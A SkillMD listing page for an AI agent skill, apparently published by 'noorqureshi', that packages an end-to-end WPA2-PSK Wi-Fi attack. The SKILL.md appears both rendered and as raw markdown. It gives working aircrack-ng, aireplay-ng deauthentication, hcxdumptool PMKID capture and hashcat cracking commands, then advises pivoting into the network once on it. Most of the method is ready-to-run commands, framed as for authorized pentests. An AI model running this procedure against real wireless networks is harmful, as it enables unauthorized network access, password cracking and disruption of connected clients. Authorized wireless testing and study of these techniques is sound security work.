How do I install the Wireless Wpa2 Attacks skill?

Run npx skillmds@latest add noorqureshi/wireless-wpa2-attacks in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Wireless Wpa2 Attacks safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Wireless Wpa2 Attacks?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Wireless Wpa2 Attacks free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Wireless Wpa2 Attacks?

NoorQureshi (@noorqureshi) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Wireless Wpa2 Attacks by noorqureshi

Name: Wireless Wpa2 Attacks
Author: NoorQureshi

Wireless Wpa2 Attacks

Attack WPA2-PSK Wi-Fi end to end — monitor mode, network discovery, handshake/PMKID capture, and offline cracking. Load on an authorized wireless engagement with a WPA2-personal network in scope. Signals: an SSID/BSSID to test, a wireless adapter in monitor mode, a captured .pcap/.22000, "crack the Wi-Fi", "capture the handshake", aircrack-ng/hcxdumptool in play.

NoorQureshi 8f35009 3.1 KB Updated Sep 17, 2026

File contents

WPA2-PSK attacks

When it applies

An authorized wireless assessment where a WPA2-Personal (pre-shared key) network is in scope and you have a monitor-mode-capable adapter within radio range. This is pentest-only — wireless testing needs physical proximity and authorization for the specific SSIDs (record them in scope.txt).

Why it works

WPA2-PSK derives its session keys from the passphrase and values exchanged in the 4-way handshake. Capture that handshake (or a single PMKID from the AP) and you can brute the passphrase offline — no further interaction with the network, no lockout. Weak/guessable PSKs fall quickly.

Method

Monitor mode. airmon-ng check kill then airmon-ng start wlan0 (interface → wlan0mon).
Discover. airodump-ng wlan0mon — note the target BSSID, channel, and associated clients.
Capture — two routes:
- 4-way handshake: lock to the channel and capture: airodump-ng -c <ch> --bssid <BSSID> -w cap wlan0mon. Speed it up with a targeted deauth of one associated client: aireplay-ng -0 3 -a <BSSID> -c <CLIENT> wlan0mon (minimal, not a flood).
- PMKID (clientless): hcxdumptool -i wlan0mon --enable_status=1 — grabs the PMKID from APs that expose it, no client needed.
Convert to hashcat format. hcxpcapngtool -o hash.22000 cap.pcapng (the modern .22000 format replacing .hccapx).
Crack offline. hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.rule — hand off the deeper cracking flow to network-credential-cracking (wordlists, rules, masks).
Prove and pivot — once on the WLAN, treat it as a network foothold (recon, network-*, network-pivoting-tunneling).

Gotchas

Deauth minimally. A broadcast deauth flood is disruptive and often out of RoE — deauth one client, briefly, only to force a handshake; confirm the RoE allows it.
Handshake completeness — aircrack-ng cap.pcapng should report a valid handshake / EAPOL M1-M4; a partial capture won't crack. PMKID avoids this.
Channel lock matters — capturing while hopping misses frames; pin -c <channel>.
Regulatory/adapter limits — some adapters/regions restrict channels or injection; verify the adapter supports monitor mode + injection first.
PSK strength decides everything — a long random PSK won't crack; report that as the positive finding rather than burning weeks.

Verify success

A recovered PSK that authenticates to the target SSID (or a demonstrably valid captured handshake for a weak-PSK finding) — obtained with minimal disruption and only for in-scope SSIDs.

References

aircrack-ng suite docs; hcxdumptool/hcxtools; hashcat mode 22000. Cracking depth: network-credential-cracking.

---name: wireless-wpa2-attacksdescription: Attack WPA2-PSK Wi-Fi end to end — monitor mode, network discovery, handshake/PMKID capture, and offline cracking. Load on an authorized wireless engagement with a WPA2-personal network in scope. Signals: an SSID/BSSID to test, a wireless adapter in monitor mode, a captured .pcap/.22000, "crack the Wi-Fi", "capture the handshake", aircrack-ng/hcxdumptool in play.---# WPA2-PSK attacks## When it appliesAn authorized wireless assessment where a WPA2-Personal (pre-shared key) network is in scope and youhave a monitor-mode-capable adapter within radio range. This is `pentest`-only — wireless testingneeds physical proximity and authorization for the specific SSIDs (record them in `scope.txt`).## Why it worksWPA2-PSK derives its session keys from the passphrase and values exchanged in the 4-way handshake.Capture that handshake (or a single PMKID from the AP) and you can brute the passphrase offline — nofurther interaction with the network, no lockout. Weak/guessable PSKs fall quickly.## Method1. **Monitor mode.** `airmon-ng check kill` then `airmon-ng start wlan0` (interface → `wlan0mon`).2. **Discover.** `airodump-ng wlan0mon` — note the target BSSID, channel, and associated clients.3. **Capture — two routes:** - **4-way handshake:** lock to the channel and capture: `airodump-ng -c <ch> --bssid <BSSID> -w cap wlan0mon`. Speed it up with a *targeted* deauth of one associated client: `aireplay-ng -0 3 -a <BSSID> -c <CLIENT> wlan0mon` (minimal, not a flood). - **PMKID (clientless):** `hcxdumptool -i wlan0mon --enable_status=1` — grabs the PMKID from APs that expose it, no client needed.4. **Convert to hashcat format.** `hcxpcapngtool -o hash.22000 cap.pcapng` (the modern `.22000` format replacing `.hccapx`).5. **Crack offline.** `hashcat -m 22000 hash.22000 rockyou.txt -r rules/best64.rule` — hand off the deeper cracking flow to `network-credential-cracking` (wordlists, rules, masks).6. **Prove and pivot** — once on the WLAN, treat it as a network foothold (`recon`, `network-*`, `network-pivoting-tunneling`).## Gotchas- **Deauth minimally.** A broadcast deauth flood is disruptive and often out of RoE — deauth one client, briefly, only to force a handshake; confirm the RoE allows it.- **Handshake completeness** — `aircrack-ng cap.pcapng` should report a valid handshake / EAPOL M1-M4; a partial capture won't crack. PMKID avoids this.- **Channel lock matters** — capturing while hopping misses frames; pin `-c <channel>`.- **Regulatory/adapter limits** — some adapters/regions restrict channels or injection; verify the adapter supports monitor mode + injection first.- **PSK strength decides everything** — a long random PSK won't crack; report that as the positive finding rather than burning weeks.## Verify successA recovered PSK that authenticates to the target SSID (or a demonstrably valid captured handshake fora weak-PSK finding) — obtained with minimal disruption and only for in-scope SSIDs.## Referencesaircrack-ng suite docs; `hcxdumptool`/`hcxtools`; hashcat mode 22000. Cracking depth:`network-credential-cracking`.

Frequently asked questions